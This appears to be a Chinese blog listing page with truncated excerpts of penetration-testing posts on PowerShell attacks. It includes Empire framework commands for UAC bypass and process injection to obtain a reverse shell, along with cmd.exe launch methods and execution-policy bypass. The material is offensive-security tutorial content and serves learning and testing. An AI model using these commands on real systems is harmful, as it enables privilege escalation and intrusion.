weixin_41082546的博客

powershell攻击方法研究执行摘要在创建恶意软件时，攻击者越来越多地利用已存在于target上的工具来攻击计算机，因为Microsoft PowerShell默认安装在Windows计算机上，它是一个理想的攻击工具链的候选项， 由于powershell使用较为灵活，并且检测更困难，因此被很多攻击者所喜爱。PowerShell是一种功能强大的脚本语言和shell框架，主要用于管理Windows计算机。它已经存在了10多年，被许多系统管理员所使用，并且将来可能替换Windows上的默认命令提示符。Powe

权限提升Bypass UACusemodule powershell/privesc/bypassuac设置listenerexecutelist查看usemodule powershell/private/bypassuac_wscript (win7)当运行完提权模块后，back返回agent...

会话注入我们可以使用usemodule management/psinject模块来进程注入，获取权限设置下Listeners和ProcID这2个参数，这里的ProcID就是之前的CMD的pid，反弹回域用户权限shellusemodule management/psinjectset Listener Micr067set ProcID 3768execute3.In...

目前大多数攻击者已经将PowerShell 利用在了各种攻击场景中，如内网渗透，APT攻击甚至包括现在流行的勒索软件中。powershell的功能强大且调用方式十分灵活。1. cmd启动powershell首先看看powershel使用cmd.exe启动执行代码的方式：1.1 常规方法cmd.exe /c "powershell -c Write-Host SUCCESS -Fore Green"cmd.exe /c "echo Write-Host SUCCESS -Fore G.

默认情况下，PowerShell配置为阻止Windows系统上执行PowerShell脚本。对于渗透测试人员，系统管理员和开发人员而言，这可能是一个障碍，但并非必须如此。什么是PowerShell执行策略？PowerShell execution policy 是用来决定哪些类型的PowerShell脚本可以在系统中运行。默认情况下，它是“Restricted”(限制)的。然而，这个设置从来没有算是一种安全控制。相反，它会阻碍管理员操作。这就是为什么我们有这么多绕过它的方法。为什么我..

Exchange是由微软推出的用于企业环境中部署的邮件服务器。Exchange在逻辑上分为三个层次：网络层（network layer）、目录层（directory layer）、消息层（messaging layer），服务器角色正是在消息层上的一个细分。Exchange Server 2010包含五个服务器角色，分别是邮箱服务器（mailbox server）、集线传输服务器（hub tran...

PowerShell渗透--Empire（三）会话注入我们可以使用usemodule management/psinject模块来进程注入，获取权限设置下Listeners和ProcID这2个参数，这里的ProcID就是之前的CMD的pid，反弹回域用户权限shellusemodule management/psinjectset Listener Micr067set...

PowerShell渗透--Empire（二）权限提升 Bypass UAC usemodule powershell/privesc/bypassuac 设置listener execute list查看 usemodule powershell/private/bypassuac_wscript (win7) ...